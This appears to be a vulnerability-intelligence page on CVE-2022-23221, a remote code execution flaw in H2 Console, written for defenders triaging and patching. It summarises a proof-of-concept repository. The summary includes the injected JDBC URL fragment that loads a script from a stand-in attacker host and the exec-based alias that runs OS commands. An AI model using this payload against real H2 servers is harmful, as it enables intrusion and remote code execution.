Loading vulnerability…
CVE-2022-23221 is an argument-injection vulnerability in H2 Console versions earlier than 2.1.210. A remote attacker can supply a crafted in-memory H2 JDBC connection URL that overrides connection settings and invokes the initialization script mechanism. This can result in loading attacker-controlled content or custom classes through JNDI and arbitrary code execution. The issue is distinct from CVE-2021-42392.
Mallory correlates every CVE against your assets, your vendors, and active adversary campaigns. Know which vulnerabilities matter for you, not just which ones are loud.
What it means. What to do now. Patch path, mitigations, and the assume-compromise checklist.
What an attacker gets, and what they’ve been doing with it.
If you can’t patch tonight, do this now.
Patch, then assume compromise.
1 valid exploit after Mallory filtered fakes, detection scripts, and README-only repos (1 hidden).
This repository is a working proof-of-concept for CVE-2022-23221, an H2 Database remote code execution issue affecting versions before 2.1.210. The repo contains a minimal Docker lab with two services: a vulnerable H2 server and an attacker-controlled HTTP server. The exploit path is network-based: a crafted JDBC URL is supplied to H2 over its TCP interface, using IGNORE_UNKNOWN_SETTINGS=TRUE and FORBID_CREATION=FALSE to bypass validation and INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql' to force H2 to retrieve and execute a remote SQL script. Repository structure and purpose: README.md documents the vulnerability, setup, and reproduction steps; docker-compose.yml builds the two-container demo environment; startup.sh downloads H2 version 2.0.206 from Maven Central and starts the H2 web and TCP servers with remote access enabled; poc.py automates exploitation by running org.h2.tools.Shell inside the vulnerable container with the malicious JDBC URL; exploit.sql is the second-stage payload executed by H2. Main exploit capability: exploit.sql creates an H2 alias named SHELL backed by embedded Java code that calls Runtime.getRuntime().exec(cmd), enabling arbitrary OS command execution. The included demo commands are id, whoami, and pwd, and their output is printed to the vulnerable container logs along with an EXPLOITED marker. This is a real exploit, not just a detector. It is operational rather than weaponized because the payload is fixed and basic, but it clearly demonstrates end-to-end RCE via remote script retrieval and execution.
Products and vendors Mallory has correlated with this vulnerability. Open in Mallory to drill down to specific CPE configurations and version ranges.
Vendor-confirmed product mapping. Mallory continuously reconciles this list against your asset inventory.
7 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
H2 Database의 인자 주입(Argument Injection) 취약점. 2.1.210 미만 버전에 영향을 미치며, 2.1.210 이상에서 해결된다.
A pre-auth remote code execution vulnerability in H2 Database via JDBC URL handling.
H2 flaw allowing custom classes to be loaded from remote servers through JNDI.
H2 vulnerability allowing loading of custom classes from remote servers through JNDI.
Query your assets running an affected version, and investigate the blast radius.
Every observed campaign linking this CVE to a named adversary.
Malware families riding this exploit, with evidence and IOCs.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Cross-references every affected SKU, including bundled OEM variants.
Community discussion across Reddit, Mastodon, and other social sources.